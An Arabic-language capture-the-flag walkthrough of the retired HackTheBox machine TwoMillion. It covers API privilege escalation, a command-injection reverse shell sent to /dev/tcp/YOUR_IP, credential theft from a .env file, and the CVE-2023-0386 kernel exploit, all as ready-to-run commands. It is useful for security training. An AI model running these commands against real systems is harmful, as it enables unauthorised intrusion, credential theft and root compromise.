HTB-TwoMillion-Writeup

شرح جهاز HackTheBox TwoMillion — استغلال API، حقن الأوامر وCVE-2023-0386

HackTheBox — شرح TwoMillion

HackTheBox — شرح TwoMillion

معلومات الجهاز

ملخص

TwoMillion هو جهاز Linux سهل يتمحور حول منصة HackTheBox القديمة. يتضمن فك تشفير رمز دعوة، واستغلال نقاط نهاية API، وحقن أوامر نظام التشغيل، واكتشاف بيانات الاعتماد، وتصعيد صلاحيات نواة Linux عبر CVE-2023-0386 (OverlayFS).

التعداد

Nmap

nmap -sV -sC -v 10.10.11.221

المنافذ المفتوحة:

• 22 — OpenSSH 8.9p1
• 80 — HTTP nginx → يعيد التوجيه إلى 2million.htb

أضف إلى /etc/hosts:

echo "10.10.11.221 2million.htb" >> /etc/hosts

الخطوة 1 — رمز الدعوة

curl -X POST http://2million.htb/api/v1/invite/how/to/generate

الاستجابة مشفرة بـ ROT13. قم بفك تشفيرها:

echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'

قم بتوليد رمز الدعوة:

curl -X POST http://2million.htb/api/v1/invite/generate
echo "BASE64==" | base64 -d

سجّل في http://2million.htb/register باستخدام رمز الدعوة الذي تم فك تشفيره.

الخطوة 2 — استغلال API → صلاحيات المسؤول

سجّل الدخول عبر المتصفح، واحصل على PHPSESSID من ملفات تعريف الارتباط (F12 → Application → Cookies).

ارفع صلاحياتك إلى مسؤول:

curl -X PUT http://2million.htb/api/v1/admin/settings/update \
  -b "PHPSESSID=<your_session>" \
  -H "Content-Type: application/json" \
  --data '{"email":"[email protected]","is_admin":1}'

تحقق:

curl -b "PHPSESSID=<your_session>" http://2million.htb/api/v1/admin/auth
# {"message":true}

الخطوة 3 — حقن الأوامر → شل عكسي

شغّل المستمع:

nc -lvnp 4444

أرسل حمولة الشل العكسي:

curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
  -b "PHPSESSID=<your_session>" \
  -H "Content-Type: application/json" \
  --data '{"username":"test;bash -c '"'"'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"'"' #"}'

تم استلام الشل بصلاحيات www-data.

الخطوة 4 — علم المستخدم

ابحث عن بيانات الاعتماد في .env:

cat /var/www/html/.env
# DB_USERNAME=admin
# DB_PASSWORD=SuperDuperPass123

ادخل عبر SSH:

ssh [email protected]
cat ~/user.txt

الخطوة 5 — علم الجذر (CVE-2023-0386)

تحقق من التلميح:

cat /var/mail/admin
uname -r
# 5.15.70 — vulnerable to CVE-2023-0386

قم بتنزيل وتجميع الاستغلال على Kali:

git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386
make all

انقل إلى الهدف:

# Kali
python3 -m http.server 8000

# Target
wget http://YOUR_IP:8000/exploit.zip
unzip exploit.zip
make all

شغّل في محطتين على الجهاز الهدف:

المحطة 1:

./fuse ./ovlcap/lower ./gc

المحطة 2:

./exp

احصل على علم الجذر:

cat /root/root.txt

سلسلة الهجوم

الأدوات المستخدمة

• Nmap
• curl
• Netcat
• CVE-2023-0386 PoC

هذا الشرح لأغراض تعليمية فقط على جهاز HackTheBox المتقاعد.